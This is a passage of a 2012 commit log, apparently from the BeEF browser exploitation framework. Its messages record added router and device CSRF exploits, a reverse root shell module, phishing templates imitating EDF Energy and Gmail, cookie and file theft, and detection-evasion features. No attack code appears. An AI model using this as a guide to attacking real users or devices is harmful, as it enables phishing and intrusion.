we're using body instead of window (for IE support), expanding the
body so that the mouse follows everywhere.
2012-09-11 23:17:50 -07:00
Rich Lundeen
2720a5a8b9 Better reliability in IE 2012-09-11 13:09:37 -07:00
Brendan Coles
1c1f2d1f1c Merge pull request #743 from webstersprodigy/improved-clickjacking
Improved clickjacking
2012-09-10 23:02:14 -07:00
Rich Lundeen
bcf842587f Fixed several minor bugs 2012-09-10 15:36:57 -07:00
Rich Lundeen
cef72c9518 Improved Clickjacking Module
Rewrite of bcole's module. Adds support for multiple clicks, Javascript
event feedback, some basic framebusting evasion, and IE support
2012-09-10 14:25:46 -07:00
Wade Alcorn
19b1baee43 Version updated 2012-09-10 21:19:41 +10:00
bcoles
9e47942d3f Added FreeNAS remote reverse root shell CSRF module
For more information see: http://support.freenas.org/ticket/1788
2012-09-09 21:05:16 +09:30
antisnatchor
69c59bb427 Social Eng. extension: moved the extension config line in main config file. 2012-09-07 17:21:17 +01:00
antisnatchor
4218f44203 Merge branch 'master' of https://github.com/beefproject/beef 2012-09-07 17:18:04 +01:00
bcoles
384fe7bcab Fix issue #741 2012-09-07 23:00:24 +09:30
bcoles
8625452751 Add support for Firefox 15 2012-09-07 20:30:19 +09:30
antisnatchor
0dd06d6ecb Merge branch 'master' of https://github.com/beefproject/beef 2012-09-07 08:41:13 +01:00
antisnatchor
5fc56a9dfa Social Eng. extension: added stub for mass_mailer DB structure 2012-09-07 08:41:02 +01:00
antisnatchor
6ac074d2b0 Social Eng. extension: now the web_cloner can serve modified pages as well. This is needed when the page use custom logic to submit the form. Added an example of an Edf Energy modified page. 2012-09-06 12:37:26 +01:00
antisnatchor
b3ae5f1016 Social Eng. extension: added EDG Energy template configuration in config.yaml 2012-09-06 11:30:33 +01:00
antisnatchor
64ba4686f4 Social Eng. Extension: added EDF Energy phishing template :D 2012-09-06 11:27:12 +01:00
antisnatchor
2f5fc46a8e Social Eng. Extension: fixed a bug in mass_mailer when choosing a different template. 2012-09-06 11:26:31 +01:00
Michele Orru
45b839d970 Merge pull request #740 from gallypette/master
Simple_hijacker module (Social engineering): Awesome, merging it straight away ;)
2012-09-06 02:07:42 -07:00
bcoles
085f2775f3 Added beef.browser.hasCors() function 2012-09-06 17:50:27 +09:30
Jean-Louis Huynen
716e7fe712 Change stupid code that made this module unusable with the API to something less stupid (i hope) 2012-09-05 15:16:21 +02:00
Jean-Louis Huynen
05d7fe3adf Adding the Simple Hijacker module in social engineering (route clicks on some links to javascript code) 2012-09-04 17:47:59 +02:00
qswain2
931aeb6ee5 Fixed the module count in the ui to include sub modules (issue 708) 2012-09-03 09:46:03 -04:00
antisnatchor
31387a0aa6 Social Eng. extension: massmailer -> calling IO.popen in a secure way 2012-09-02 19:00:40 +01:00
antisnatchor
d881852216 Social Eng. extension: added notes about 'wget' and 'file' commands required for the extension. 2012-09-02 17:26:38 +01:00
antisnatchor
ed9b1d5c2e Social Eng. Extension: webcloner ->calling IO.popen in a secure way 2012-09-02 17:25:50 +01:00
antisnatchor
ae72f9fedf Social Eng. extension: added request.ip to interceptor logs, adapted output 2012-09-02 16:23:53 +01:00
bcoles
ab588c0f68 Add link_rewrite_tel module
Fixes issue #721
2012-09-02 16:58:43 +09:30
antisnatchor
8eb0e2d973 Social Eng. Extension: Added DB structure and logic for web_cloner and interceptor. 2012-09-01 15:15:30 +01:00
Michele Orru
01ea6e4a04 Merge pull request #737 from gallypette/master
Added Whitespace Evasion technique!
2012-08-31 07:32:46 -07:00
antisnatchor
9b1cae6790 Added social_engineering extension to main BeEF config file. 2012-08-31 15:22:09 +01:00
antisnatchor
6b5302ef21 Social Eng. Extension: Added RESTful API calls for both mass_mailer and web_cloner 2012-08-31 14:08:08 +01:00
antisnatchor
a6a9af8483 Minor changes to main Server class (mounts need to be an instance variable) 2012-08-31 14:07:33 +01:00
marc
612343990d Merge branch 'master' of https://github.com/beefproject/beef 2012-08-30 11:33:26 +01:00
antisnatchor
9ea0f60138 Social Eng. extension: added default PDF attachment to config.yaml 2012-08-29 22:48:45 +01:00
antisnatchor
6409b3d98f Social Eng. extension: mount point for phishing page is not configurable, refactored Interceptor initialization using config settings 2012-08-29 22:36:24 +01:00
antisnatchor
26c7696e0f Social Eng. extension: if the page can be framed, load it in an overlay iFrame maintaining the hook :D 2012-08-29 21:08:07 +01:00
antisnatchor
0260181d33 Social Eng. extension: added redirection after POST interception, refactored Interceptor class 2012-08-29 19:33:14 +01:00
antisnatchor
20d2e17232 Social Eng. extension: added support for SMTP servers that do not require authentication 2012-08-29 17:50:14 +01:00
antisnatchor
92b2382e25 Social Eng. extension: added support to specify attachments, added automatic MIME type guessing 2012-08-29 17:38:37 +01:00
Jean-Louis Huynen
e86712413c modified whitespace evasion technique to keep it simple - modified beefjs (just one line, i don't had much time to investigate my change but it seems to work better with it than without it :) 2012-08-29 18:22:22 +02:00
Jean-Louis Huynen
788cef08d3 add whitespace obfuscation technique - should work in theory - but does not in practice 2012-08-29 13:54:26 +02:00
antisnatchor
ffbd3d65b9 Social Eng. extension: various fixes, link/linktext/fromname configurable, adjusted various email headers 2012-08-27 21:30:09 +01:00
antisnatchor
df056fb688 Social Eng. extension: added configurable email templates 2012-08-27 16:10:40 +01:00
antisnatchor
26c86951a4 Social Eng. extension: added mass mailer 2012-08-27 14:30:10 +01:00
antisnatchor
558ca03ef6 Social Eng. extension: added basic structure and web cloner 2012-08-27 10:28:03 +01:00
antisnatchor
42c348f3f2 Added timeout.js that calls beef_init an fix some nasty cross-domain hooking issues when the hooking process was not started. 2012-08-25 10:26:16 +01:00
antisnatchor
b6c12fd0f3 Added copyright to are.js 2012-08-25 10:25:31 +01:00
bcoles
57f68725bc Moved lcamtuf download module to social engineering category 2012-08-25 18:54:15 +09:30
antisnatchor
50e7a1c206 Refactored WebSocket code. 2012-08-25 10:18:56 +01:00
antisnatchor
5400696c40 Refactored and modified beefjs.rb: splitted external lib files from beef files, added the feature for #734 to exclude some core lib js files (like jquery) from obfuscation 2012-08-25 09:58:25 +01:00
antisnatchor
7ed9516b53 Obfuscation: removed base64 from the default chain list, added excluded_core_js option 2012-08-25 09:55:53 +01:00
antisnatchor
aeb17e7d7a Changed target support to notify_all for lcamtuf download module (pop-up blockers) 2012-08-24 19:46:02 +01:00
bmantra
7c26ac6a1e Merge pull request #735 from bmantra/master
fixes #725 initial commit for lcamtuf download trick module
2012-08-24 11:27:25 -07:00
bmantra
f852ca26cb lcamtuf download module 2012-08-24 20:24:37 +02:00
Mike Haworth
5a9a050c1c added new phonegap modules, to check connection type (wifi/3g) and ensure beef hook survives suspend resume of app. 2012-08-22 20:51:49 +12:00
Mike Haworth
ad2bc95cf0 updated local file theft to accept custom file path 2012-08-22 20:50:03 +12:00
Mike Haworth
f2d4a88810 added abilty to detect new phonegap renamed 'cordova' 2012-08-22 20:48:55 +12:00
Wade Alcorn
6897962803 Version updated 2012-08-15 13:39:16 +10:00
sussurro
8c43fffb36 Fixed Twitter client to not cause errors on failed tweets allowing logins etc to continue 2012-08-12 19:27:19 -07:00
radoen
93bb25aa0b Set to false websocket and https 2012-08-10 13:47:42 +02:00
radoen
5697eac123 Added support for wss, issue #714 2012-08-10 13:43:48 +02:00
antisnatchor
ea89b0ca64 Added support for Safari 6. 2012-08-06 20:55:38 +01:00
antisnatchor
dfe61f3a17 Reverted back default port to 3000. My bad. 2012-08-06 15:06:53 +01:00
antisnatchor
b3b3ae828b Updated fake_flash_update module description, to specify that the Chrome extension delivery will work on Chrome <= 20 only. 2012-08-06 14:30:19 +01:00
antisnatchor
1f88bb4cc3 Added default key/cert files for HTTPS support, added a few notes about it on config.yaml 2012-08-06 14:25:53 +01:00
Christian Frichot
b58e9b955e Fixes Issue #733 - Thin SSL support initial release 2012-08-05 16:17:18 +08:00
Michele Orru
56db0c35fe Merge pull request #730 from mpapis/patch-1
Make sense. Thanks!
2012-08-04 03:19:22 -07:00
Michele Orru
6b126744c3 Merge pull request #732 from offensivecoder/notifications
Looks good to me. My fast code-review on the fly through GitHub was OK :D
2012-08-04 03:18:17 -07:00
Marc Wickenden
2ad1ba4fbf remove superfluous notifications.rb 2012-08-03 23:59:32 +01:00
Marc Wickenden
3504946636 disable console in commited version 2012-08-03 23:29:24 +01:00
Marc Wickenden
26ab3be0b8 remove Gemfile.lock from commit 2012-08-03 23:15:43 +01:00
Marc Wickenden
0cec6b87a8 fixed disabling of notifications extension 2012-08-03 23:13:58 +01:00
Marc Wickenden
192eb9706d disable twitter and email notifications by default 2012-08-03 22:14:20 +01:00
Marc Wickenden
bd4b28ae3c turn off debugging in committed version 2012-08-03 22:04:28 +01:00
Marc Wickenden
1d3ea4d10c Merge branch 'master' of https://github.com/beefproject/beef into notifications 2012-08-03 22:03:08 +01:00
Marc Wickenden
45c9f674e4 remove IRC config, might get around to this one day 2012-08-03 22:00:54 +01:00
Michal Papis
73fc960333 improved installation command
updated the installation command:

 - reversed notation to prevent `curl -s` and hiding errors,
 - shortened the commit sha1, still usable but easier to see whole command.
2012-08-02 21:22:35 +03:00
Marc Wickenden
82dc6fee0d remove now redundant handler 2012-08-02 11:51:14 +01:00
Marc Wickenden
1a6bf75d57 remove now redundant handlers directory 2012-08-02 11:50:05 +01:00
Marc Wickenden
707759950d working but kludgey version of notifications with twitter and email support 2012-08-02 11:41:24 +01:00
antisnatchor
c2a2135046 Added Chrome 21 fingerprinting. 2012-08-01 12:28:24 +01:00
antisnatchor
560aa7f610 Changed default WebSockets port to increase success rate through proxies. 2012-07-31 09:28:55 +01:00
bmantra
7c7103b685 Merge pull request #729 from bmantra/master
add default beef ip/host to connect back to
2012-07-25 05:50:32 -07:00
bmantra
e299045539 add default beef host/ip to connect to 2012-07-25 14:47:56 +02:00
Christian Frichot
83f29505a5 Minor fix to the Shell interface - can review offline targets now 2012-07-25 14:21:37 +08:00
Marc Wickenden
c708a60bdd new it wasn't 2012-07-24 20:05:45 +01:00
Marc Wickenden
6ce3581ae5 add Gemfile.lock. I'm not sure this is a good idea 2012-07-24 19:51:03 +01:00
bmantra
fac1ff45ca Merge pull request #727 from bmantra/master
updated description IRC NAT Pinning
2012-07-23 23:11:07 -07:00
bcoles
a4e74aaad0 Added AlienVault OSSIM 3.1 XSS module 2012-07-24 10:55:28 +09:30
bmantra
1226ed4b34 nat tested 2012-07-23 20:30:04 +02:00
bmantra
9b9e74967b nat tested 2012-07-23 20:26:38 +02:00
bmantra
b7a4314424 nat tested 2012-07-23 20:21:36 +02:00
antisnatchor
701d634f4f NAT_pinning: updated description 2012-07-23 18:34:06 +01:00
antisnatchor
d5606c9bf4 NAT pinning. now uses the new bind/unbind socket methods of the AssetHandler. No need to use netcat anymore ;) 2012-07-23 18:31:54 +01:00
antisnatchor
71fb6ae089 bind_socket: receive buffer length increased to 1024 bytes 2012-07-23 18:25:55 +01:00
Christian Frichot
2b8a389da1 Fixes Issue #724 - Console Shell now prints modules which are in sub-categories 2012-07-23 20:30:00 +08:00
Christian Frichot
34a2f86877 Tidied up the gmail phishing module - its not embedded so category is now a string not array 2012-07-23 19:31:57 +08:00
antisnatchor
6139da2161 Managing the famous if data == buffer_length case while receiving data in socket (bind_socket) 2012-07-23 11:05:38 +01:00
antisnatchor
6342fdad77 Fixec and enhanced the bind_socket method in AssetHandler. Multi-thread, close socket when no more data is received, print_debug raw request 2012-07-23 10:55:41 +01:00
bcoles
1defa2dbc2 Multiple changes to console:
[console] Fixed bug in displaying browser info in console
[console] Added zombie IDs to console messages
[console] Added browser type to zombie info
[console] Added menu support for selecting multiple zombies (incomplete)
2012-07-22 20:38:28 +09:30
antisnatchor
6188fe4be9 Fix issue #723. Added amin_ui authenticated endpoints that returns the RESTful api token. useful when calling the Restful api from ExtJS 2012-07-22 11:52:27 +01:00
Marc Wickenden
6ade1469bb initial commit of notifications extension 2012-07-19 22:51:39 +01:00
bcoles
bfa2e6dbf7 Minor formatting changes to the console
Command list now fits on terminals 80 columns wide
2012-07-18 23:48:10 +09:30
bcoles
8e2f0e9a44 Added support for Firefox 14 2012-07-18 22:03:24 +09:30
antisnatchor
ac05f24b64 Reverted back change on pre_send (nat_pinning module) 2012-07-15 19:17:04 +01:00
bmantra
5a2b29bab4 changed description and temp disabled the listening socket as it needs some more testing 2012-07-15 20:08:59 +02:00
antisnatchor
be71984362 Patched bind_socket: support multiple clients, don't close the client socket 2012-07-15 17:26:01 +01:00
antisnatchor
dd43da5e51 Modified nat_pinning module to bind a socket on pre_send (new bind_socket api call) 2012-07-15 12:58:36 +01:00
antisnatchor
69c883568f Merge branch 'master' of https://github.com/beefproject/beef 2012-07-15 12:57:49 +01:00
antisnatchor
6dbf64cfa7 Added bind_socket/unbind_socket to AssetHandler 2012-07-15 12:57:21 +01:00
bcoles
7f0026fc79 Added Linksys WVC series wireless camera CSRF module 2012-07-15 19:18:37 +09:30
bcoles
40f7145531 Updated D-Link DIR-615 router module 2012-07-15 19:01:09 +09:30
bcoles
d8adf26827 Added Asmax AR-804gu Command Execution module 2012-07-15 00:49:19 +09:30
bcoles
c380ca75ed Added 3COM OfficeConnect Command Execution module 2012-07-15 00:16:11 +09:30
bcoles
9d2022531c Added Cisco E2400 CSRF router module 2012-07-14 22:44:58 +09:30
antisnatchor
4d262d6d19 Issue #556 : added json response to RESTful endpoint /api/modules/multi 2012-06-30 19:00:42 +01:00
antisnatchor
bd6065eff9 Issue #556 : updated exception error message 2012-06-30 18:38:25 +01:00
antisnatchor
5d47739c71 Issue #556 : added RESTful api endpoint /api/modules/multi 2012-06-30 18:33:51 +01:00
antisnatchor
3aadf6fa75 Issue #556 : the RESTful api call to retrieve HBs now returns also the ID of the HB 2012-06-30 16:00:31 +01:00
antisnatchor
b784710ca9 Added detection of Opera 12.x (still beta) 2012-06-30 15:42:03 +01:00
Brendan Coles
fa569fa3e7 Merge pull request #712 from bmantra/master
Fixes #102
2012-06-30 03:08:15 -07:00
bmantra
3784cc4e37 Updated description 2012-06-30 11:56:21 +02:00
bmantra
f34443ef46 Merge remote branch 'upstream/master' 2012-06-30 11:54:49 +02:00
bcoles
9fdd8bc819 Added support for Chrome 20 2012-06-29 13:41:05 +09:30
bcoles
29ba7dbf38 Added spaces to two config.yaml files
Fixes bug with parsing yaml on some versions of Ruby
2012-06-29 08:42:21 +09:30
bcoles
b7126c2fe3 Updated DNS Tunnel module description
Fixes issue #709
2012-06-28 21:46:48 +09:30
antisnatchor
e6ce3adba5 Merge branch 'master' of https://github.com/beefproject/beef 2012-06-28 13:28:52 +01:00
antisnatchor
e54ec1e569 Updated authors, sorry dude (n0x00). issue #711 2012-06-28 13:28:18 +01:00
qswain2
b89ff04930 Fixed accidental removal of are init call in init.js 2012-06-28 06:44:27 -04:00
antisnatchor
2ef1492eed Added comment in config.yaml for #711 2012-06-28 09:55:44 +01:00
antisnatchor
cc29a4434f Added PAssword wipe XSRF for Dlink DIR-615 (issue #711) 2012-06-28 09:53:59 +01:00
qswain2
6a4f2ac6be Merge branch 'master' of github.com:beefproject/beef 2012-06-27 23:00:55 -04:00
bmantra
17f5689bf8 Merge remote branch 'upstream/master' 2012-06-27 20:18:05 +02:00
bcoles
1e0f83d23f Added better icon for iOS 2012-06-27 21:58:07 +09:30
antisnatchor
727c746303 Added Java to the baloon popup of the admin_ui, and removed phonegap. 2012-06-27 12:28:09 +01:00
antisnatchor
3b72f43ad4 Fixes issue #710 : added Confirm Close Tab module 2012-06-27 11:24:35 +01:00
antisnatchor
473f71e42d Added missing WebOS constant/image that were preventing admin_ui to work properly. 2012-06-27 10:23:43 +01:00
bcoles
4432a9e468 Added module: Create Invisible Iframe 2012-06-27 01:50:07 +09:30
bcoles
7686d55b4b Added hardware detection for HTC, Motorola, Google Nexus, Nokia, Sony
Ericsson
2012-06-26 18:52:03 +09:30
qswain2
8b17643fdc Merged changes from origin 2012-06-25 23:53:43 -04:00
qswain2
8d8a0ca9e9 Merge branch 'master' of github.com:beefproject/beef
Conflicts:
	core/main/handlers/modules/beefjs.rb
2012-06-25 22:59:31 -04:00
qswain2
4f6d07bced Added init call for are 2012-06-25 22:56:45 -04:00
bcoles
123b81b2b4 Updated virgin_superhub_csrf module
Now disables firewall and enabled remote administration

Fixes issue #705
Fixes issue #706
Fixes issue #707
2012-06-25 11:18:28 +09:30
bcoles
d5acc6409e Added beef.browser.hasPhonegap()
Added hasPhonegap() and hasGooglegears() to balloon messages

Updated os in module configs from "iPhone" to "iOS"
2012-06-25 11:04:19 +09:30
bmantra
286d0a18fb nat pinning 2012-06-24 19:40:05 +02:00
bcoles
268ef4588f Added device/hardware detection 2012-06-25 01:35:33 +09:30
bcoles
9440afacc9 Removed duplicate / from a few CSRF URLs
Just in case it causes issues
2012-06-25 00:57:26 +09:30
bcoles
7fde875d8a Changed default target IP address to http://192.168.100.1/ for the
virgin_superhub_csrf module
2012-06-24 22:21:19 +09:30
bcoles
ebe205ad36 Updated a couple of module configs
modules/exploits/router/virgin_superhub_csrf/config.yaml
modules/misc/local_file_theft/config.yaml
2012-06-24 20:44:06 +09:30
bcoles
71133869e4 Added browser details to Hooked Browser balloon messages
Fixes issue #521
2012-06-24 20:36:10 +09:30
bcoles
90462c32b8 Merge branch 'master' of https://github.com/beefproject/beef 2012-06-24 17:12:57 +09:30
bcoles
1bf9061c1a Added a couple of CSRF modules:
o ./modules/exploits/boastmachine_3_1_add_user_csrf/
	o ./modules/exploits/axous_1_1_1_add_user_csrf/

Updated a few exploit titles
2012-06-24 17:10:37 +09:30
Wade Alcorn
2cb40530de Merge branch 'master' of github.com:beefproject/beef 2012-06-24 08:28:21 +01:00
bcoles
771d6d60f9 Added Virgin Superhub CSRF module
Fixes issue #703
2012-06-24 15:22:35 +09:30
bcoles
40f8b528aa Moved a few modules from modules/exploits/ to modules/exploits/local_host:
activex_command_execution
	mozilla_nsiprocess_interface
	window_mail_client_dos
	java_payload
	safari_launch_app

Added a couple of XSS modules:
	cisco_collaboration_server_5_xss
	serendipity_1.6_xss
2012-06-24 03:10:54 +09:30
bcoles
aefc693548 Added balloon popups to hooked browser tree
Part of issue #521
2012-06-24 00:57:01 +09:30
bcoles
853b4c5bcb Added Spring Framework Malicious JAR module
Fixes issue #526
2012-06-23 22:45:48 +09:30
Wade Alcorn
49b85201d0 Changed print_success to print_info 2012-06-23 12:51:20 +01:00
Wade Alcorn
900942f59c Added comment 2012-06-23 09:06:17 +01:00
Wade Alcorn
c4e0ce17c4 Added update file that calls git pull 2012-06-22 21:07:45 +01:00
Wade Alcorn
0a34150cf7 Version updated 2012-06-22 21:01:09 +01:00
antisnatchor
aa8e073494 Changes debug logs in the evasion main class. 2012-06-21 12:34:26 +01:00
qswain2
616d427a05 Merge branch 'master' of github.com:beefproject/beef
Updating to keep up wiht main repo
2012-06-14 21:13:16 -04:00
Mike Haworth
37e42b50d0 Moved screenshot module to correct location 2012-06-14 06:09:44 +12:00
Michele Orru
dae01474ab Merge pull request #700 from bmantra/master
Closes #699
2012-06-13 04:54:30 -07:00
bmantra
ece65e9841 added fingerprint for Glassfish server 2012-06-13 13:38:48 +02:00
Mike Haworth
cb9125eb1a added a chrome_extension module that takes a screenshot of the current tab, image returned as dataurl for now 2012-06-13 21:33:47 +12:00
Michele Orru
29d576b2e7 Merge pull request #696 from bmantra/master
Closes #661  Glassfish 3.1.1 war upload csrf
2012-06-13 01:47:55 -07:00
bmantra
3accb24b2b Does not work in Opera due to cross domain issues. And cannot work in IE due to lack of sendAsBinary-functionality in xmlhttprequest. So removed the Base64-library and used atob instead. 2012-06-13 10:00:45 +02:00
root
27ed3ac2da Merge remote branch 'upstream/master' 2012-06-08 08:30:35 +02:00
Saafan
4cee2c550f Merge branch 'master' of https://github.com/beefproject/beef 2012-06-07 14:07:37 +02:00
qswain2
32c332c965 Merge branch 'master' of github.com:beefproject/beef
pulling in latest commits
2012-06-07 01:07:40 -04:00
bcoles
99c6a819f3 Updated module description for webcam and gmail phishing modules
Updated gmail phishing module to hide the polling image

Fixed a couple of typos
2012-06-07 13:56:26 +09:30
Brendan Coles
3430de2a03 Merge pull request #691 from floyd-fuh/master
Webcam and Gmail Phishing plugin
2012-06-06 21:36:45 -07:00
bcoles
6f3298235f Added IE to not_working for glassfish_war_upload_xsrf module 2012-06-07 13:29:59 +09:30
qswain2
b02b96791a daily update from repo
Merge branch 'master' of github.com:beefproject/beef
2012-06-06 19:30:04 -04:00
floyd
475cc4e40d Added Gmail phishing module 2012-06-06 18:49:17 +01:00
floyd
dbae1f60dd Added webcam module 2012-06-06 18:47:48 +01:00
bcoles
6396f7aa5a Fixes issue #688
Added spaces to comma delemetered data in config.yaml files

This should fix an issue reported to affect Ruby 1.9.2
2012-06-05 23:27:21 +09:30
Ben Waugh
defc5987c7 Added #!/bin/bash to install script 2012-06-05 07:28:50 +10:00
bmantra
ac258f654d added not_working: ["IE"] 2012-06-04 21:24:01 +02:00
Michele Orru
1d13368644 Merge pull request #689 from bmantra/master
fixes #661. Ported @malerish PoC for GlassFish (deploy WAR through XSRF)
2012-06-03 15:30:20 -07:00
root
8e7e546ef9 fixes #661 2012-06-03 19:53:33 +02:00
qswain2
6063e6246d Added miniied jools to lib and included jools in buildjs string. Had to modify the underscore template settis to resolve conflicts in the erubis evaluator. Created are object as apart of beefjs and created basic stub to create the jools object. 2012-06-02 13:15:35 -04:00
qswain2
41e64568e8 Merge branch 'master' of github.com:beefproject/beef 2012-06-01 23:33:15 -04:00
bcoles
729336df53 Added debug mode to clickjacking module 2012-06-01 10:49:46 +09:30
qswain2
f622171eef added rowserfied jools js file so that jools can be used in the browser 2012-05-31 00:57:22 -04:00
bcoles
9e2ac56ea6 Added clickjacking module
Fixes issue 105
2012-05-30 19:40:29 +09:30
bcoles
fdd9d2c555 Added Cross-Site Printing module 2012-05-30 17:11:34 +09:30
bcoles
d76c0a39c7 Trivial readme updates 2012-05-30 09:24:08 +09:30
bcoles
1b9153485e Removed Induce Seizure module
There is no reason what so ever for browsers to be able to cause the
screen to flicker. This issue has been known for a very long time.

Maybe it's time browser developers consider the health of their users.

---

Can cows get epilepsy? Breeds such as Swedish Red Cattle, Hereford and
Angus have been reported to suffer epilepsy. Source:
http://www.kgbanswers.co.uk/can-cows-get-epilepsy/2217549

Think of the cows.
2012-05-29 20:41:41 +09:30
bcoles
8dc4261094 Updated get_all_cookies module description 2012-05-29 20:37:14 +09:30
bcoles
1c9310f89f Added Induce Seizure module
Disabled by default
2012-05-29 20:02:16 +09:30
Mike Haworth
4e75c869ff Merge branch 'master' of github.com:beefproject/beef 2012-05-29 22:44:52 +12:00
Mike Haworth
5aa2cefc43 Chrome extension module for stealling cookies inc. HTTPonly 2012-05-29 22:44:03 +12:00
Mike Haworth
172ec56be6 Got a better splash image, added cookies permission, added some brief documentation 2012-05-29 22:42:58 +12:00
bcoles
0ac7023df1 Renamed getScreenParams() to getScreenSize()
Added date stamp to browser hook initialization
2012-05-29 18:52:43 +09:30
bcoles
75315f8622 Added support for Firefox 13
Added return message for fake flash update module
2012-05-29 16:40:15 +09:30
antisnatchor
874bc14278 Close issues #541 and #684. Added 2 command line options to ovveride default port and websocket server port 2012-05-28 13:44:05 +01:00
bcoles
53b0781961 Updated supported browsers and module description for:
o modules/misc/iframe_sniffer/config.yaml
o modules/social_engineering/fake_flash_update/config.yaml
2012-05-28 10:28:31 +09:30
Mike Haworth
dc040a51ac added fake flash player module and chrome extension 2012-05-28 00:17:53 +12:00
Michele Orru
b84ec775a1 Merge pull request #683 from bmantra/master
Merging pull request for framesniffing module (issue #644).
2012-05-25 11:18:41 -07:00
antisnatchor
b3f8504a2e Evasion: added support to scramble cookies as well. 2012-05-25 12:02:28 +01:00
antisnatchor
0d2598e0b8 MITB: closed expressions 2012-05-25 11:18:33 +01:00
antisnatchor
c79a2ee6f1 Evasion: Added bootstrapper functionality. Added support for obfuscate modules with the same techniques used for the hook. 2012-05-23 15:23:15 +01:00
antisnatchor
c1d021a7e8 Evasion: Fixed bug in scrambler. 2012-05-23 15:01:02 +01:00
antisnatchor
aee0b1e50f Evasion: scramble now stores random values in the config object, in order to be re-used later on in a consistent way. 2012-05-23 13:44:41 +01:00
antisnatchor
b7f6073631 Evasion: added helper module for common methods (random_string) 2012-05-23 13:43:28 +01:00
antisnatchor
0ce3490420 Don't use eval when evaluating the base64'ed blob in the Evasion extension. It was also triggering BeEF "static analysis" tests LOL 2012-05-22 17:37:36 +01:00
antisnatchor
8d805c550f Started working on the Evasion/Obfuscation extension. Added scrambler, minifier and base64 encoder in the chain. 2012-05-22 16:41:29 +01:00
antisnatchor
395141b8c8 Merge remote-tracking branch 'origin/master' 2012-05-22 13:39:05 +01:00
antisnatchor
1282831af1 Terminating unterminated statements in various JS files. 2012-05-22 13:38:28 +01:00
antisnatchor
2bad801c80 Terminating unterminated statements in various JS files. 2012-05-22 13:27:57 +01:00
bcoles
981b13ce7b Added huawei_smartax_mt880 CSRF module 2012-05-22 17:52:36 +09:30
bcoles
6739094f57 Added dlink_dcs_series_csrf module 2012-05-22 17:22:20 +09:30
Michele Orru
f08fa2568b Merge pull request #682 from zepip/master
README changes
2012-05-21 05:38:45 -07:00
Pipes
9da617a50a README changes
Introduce README.mkd
Mirror without markdown in README
Move detailed installation instructions to INSTALL.txt
2012-05-21 19:42:12 +12:00
bcoles
f8eba21cb4 Moved a few more modules and updated some module descriptions 2012-05-20 18:50:10 +09:30
bcoles
460b619cc1 Moved Router and Switch categories under Exploits category
Added Social Engineering category
2012-05-20 18:32:44 +09:30
Brendan Coles
56443cfdf4 Merge pull request #680 from bmantra/master
module to change password of a netgear GS108t managed switch
2012-05-19 21:14:16 -07:00
Michele Orru
86b3103925 Merge pull request #681 from radoen/master
Merging WebSocket fork, disabled by default.
2012-05-19 12:00:13 -07:00
antisnatchor
b49548d22e Temporarily disabled DebugModules tests. 2012-05-19 19:54:21 +01:00
antisnatchor
51b27709dd Merge remote-tracking branch 'upstream/master'. WS: added stringifying command results in beef.net.send 2012-05-19 19:19:03 +01:00
Mike Haworth
b420fe0523 When using safari as cross-domain proxy polling failed if firefox requested http://fxfeeds.mozilla.com/en-US/firefox/headlines.xml. The cause was JSON.stringify failing, so just through a try /catch round it 2012-05-20 00:05:02 +12:00
Brendan Coles
c92ef02a7a Merge pull request #679 from 0x7674/master
'Clippy' Module
2012-05-19 00:43:29 -07:00
root
e4ea5dfff9 Closes #644 but needs to be tested on other browsers 2012-05-17 18:09:00 +02:00
vt
b8ba48af25 Updated module.rb with a more sane respawn time 2012-05-18 00:12:43 +12:00
vt
6ea46e72da Updated command.js to support IE6 properly 2012-05-18 00:12:03 +12:00
Christian Frichot
a6a7536e73 Issue #678 - Custom Hook Point Extension initial commit 2012-05-17 18:52:35 +08:00
root
6279658888 integrated remarks from bcoles and antisnatchor 2012-05-17 04:57:38 +02:00
bcoles
74a3eef225 Moved mobilesafari_address_spoofing module to
modules/browser/hooked_domain directory
2012-05-17 08:53:01 +09:30
root
d354e66a3d Added module for GS108t managed switch 2012-05-17 00:47:33 +02:00
Christian Frichot
1a85b6bc92 Issue #650 - forgot the license on the js file - my bad 2012-05-16 22:41:51 +08:00
Christian Frichot
e8ea3a3cd7 Merge branch 'master' of github.com:beefproject/beef 2012-05-16 22:36:33 +08:00
Christian Frichot
8f1aae97c8 Fixes Issue #650 - iOS Safari Address Bar Spoofing Command Module 2012-05-16 22:36:21 +08:00
Ben Waugh
f0b1d6d76f Updated CDE Generator
UpdatedCan be run with: rake cde
2012-05-16 07:54:09 +10:00
bcoles
594e745694 Added favicon support to deface_web_page and site_redirect_iframe modules
Fixes issue #491
2012-05-15 17:47:05 +09:30
Ben Waugh
b9c9df93e1 Updated Installer Script
Improved Debian/Ubuntu installer
Added Disclaimer Message/Opt Out
2012-05-15 18:27:43 +10:00
bcoles
1335f57a46 Browser plugins are now passed through unique() 2012-05-14 20:29:18 +09:30
Christian Frichot
aa671f6e64 Merge branch 'master' of github.com:beefproject/beef 2012-05-14 18:13:41 +08:00
Christian Frichot
3c7686e196 Nested command modules are now also sorted, and sub-folders include children count. Fuck yeah recursion111. Issue #550 2012-05-14 18:12:45 +08:00
bcoles
78b88ee09f Changed status/port status info for cross-domain request history 2012-05-14 18:57:44 +09:30
bcoles
2f7d98c7a7 Fixed bug in core/main/client/net.js
ALL requests (modules, requester, etc) were failing in Firefox since
commit 1fd66bce1e
2012-05-14 17:45:03 +09:30
Mike Haworth
1fd66bce1e Issue #666 Proxy now uses forge_request, allowing cross domaian requests, for instances where SOP bypass is available 2012-05-13 13:08:13 +12:00
antisnatchor
6eacf97b80 Moved "hooked_browser" category inside "Browser", now as a sub-category. 2012-05-12 12:13:57 +01:00
Christian Frichot
7d7f6b13b4 Fixes Issue #550 Module categories can include sub-folders. Specify them as an array in their yaml file 2012-05-12 17:37:46 +08:00
antisnatchor
247e0e9a62 Issue 676. Now we use em-websocket for WebSocket server side. Instead of threads we use events with EventMachine. Faster and consumes less memory. 2012-05-11 15:58:59 +01:00
antisnatchor
052d25a36b Fixed another bug when parsing the BeEF hook cookie in Js. now using beef.session.get_hook_session_id(). Should be the last fix. 2012-05-11 14:22:13 +01:00
antisnatchor
96a16fa683 Fix issue 675 (added erubis parsing for Websocket config options) 2012-05-11 11:45:13 +01:00
antisnatchor
256ef0f2e8 Fix issue 673 (command module friendly name in WebSocket fork) 2012-05-11 11:12:12 +01:00
antisnatchor
fdad068ee5 Fix issue 674 (NilClass issue) 2012-05-10 13:54:40 +01:00
vt
9a5af8f7d1 Slightly less clunky js 2012-05-11 00:26:26 +12:00
antisnatchor
925e744194 Merge remote-tracking branch 'upstream/master'
Resolved conflicts:
	core/main/client/net.js
	core/main/handlers/modules/beefjs.rb
2012-05-10 10:19:22 +01:00
antisnatchor
